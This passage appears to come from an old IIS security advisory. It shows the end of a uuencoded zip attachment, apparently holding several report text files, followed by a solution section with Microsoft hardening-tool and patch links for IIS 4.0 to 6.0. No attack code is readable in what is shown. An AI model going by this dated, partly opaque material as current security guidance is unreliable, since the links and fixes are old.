	MLBF_MBG6<6/DCFF6]XP)6*7N#FJMFK[.ELZ"KZ2/+['I_M$`^MU'QOX2R46<
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
	M;U^G:?BM3C[]B8,,%ZI^/L.?.^/1'=4[$GMAJG*7E+C)!P0]$9G$:"O-$
	M+5B$=+:M?YGR69WT[M$)AM@>]Z-'=6L^?4?@=#LD/TOO5N-S#.ZL;NL\N2S:
	M([N=599_U7P\AL]/P1K=09M,\3G6A9*ITT)UM*DZNFIU4<B<;AF5\--FJ<UC
	M/J9%9S^R!4W+@D":TTKF[!$S!PDK=G=GV0,E(H7PB&GW<0!)?Z#'2@4]P$TE
	M9`ER!21))'/,D([4I.+XCVW*=O1\YP]WH':'3S/PLG0PKB_3-69YC$$8RR1K
	MHLRVS$UW>&:\I),BPCZ#7L5:52"0+9)]V3..PD)!3UY%'%FE5`<+^(F=^;L*
	M\^`9[D.'TQJ/ERH+L@]:0CND];1E#X9EU49VPL\4LZ2TY\H?D3('-)X]GN&X
	MT'OV#W;(;O]6_?G.^<G1_F0Z'!ESM\>TF\O8=>J3"D/?'YA3"NY1$AV&2,05
	MW=5\:"._YP=2UE'.6X_*7WS(U^U4C_G."_M'+:*@JD//8YA*V!>_P&SM&8"[
	M4O+9!V4ME1[\T<D3=^J!GJ[S`TI/U+I=65-<EKDNW<S<\&YG)7+%W&\^!A-T
	M,8'+S_E/9W[>N/<_4$L!`A8+%`````@`0VB++!@@]I0\!@``GPP```T`````
	M`````0`@`("!`````')E<&]R=%\Q,"YT>'102P$"%@L4````"``F9XLLW$%K
	M[N8!``!L`P``#``````````!`"``@(%G!@``<F5P;W)T7S8N='AT4$L!`A8+
	M%`````@`&F>++`7?E=[W!P``K1,```P``````````0`@`("!=P@``')E<&]R
	M=%\U+G1X=%!+`0(6"Q0````(`%IGBRS;F+>]W`,``,4'```,``````````$`
	M(`"`@9@0``!R97!O<G1?."YT>'102P$"%@L4``(`"`"!4J8LLM^M-$<5``"K
	M-0``#``````````!`"``@(&>%```<F5P;W)T7S$N='AT4$L%!@`````%``4`
	*(P$```\J````````
	`
	end
	11080 bytes
	
SOLUTION
	Hint :
	Although the following will not protect you  from  all  vulnerabilities,
	it can't do no harm to help secure your server with :
	
	http://www.microsoft.com/technet/security/tools/locktool.asp
	http://www.microsoft.com/technet/security/URLScan.asp
	
	Microsoft IIS 4.0:
	
	http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37931
	
	Microsoft IIS 5.0:
	
	http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37824
	
	Microsoft IIS 5.1:
	
	http://www.microsoft.com/Downloads/Release.asp?ReleaseID=37857
	
	Microsoft IIS 6.0:
	
	Beta versions of .NET Server after Build 3605 contains fixes for IIS 6.0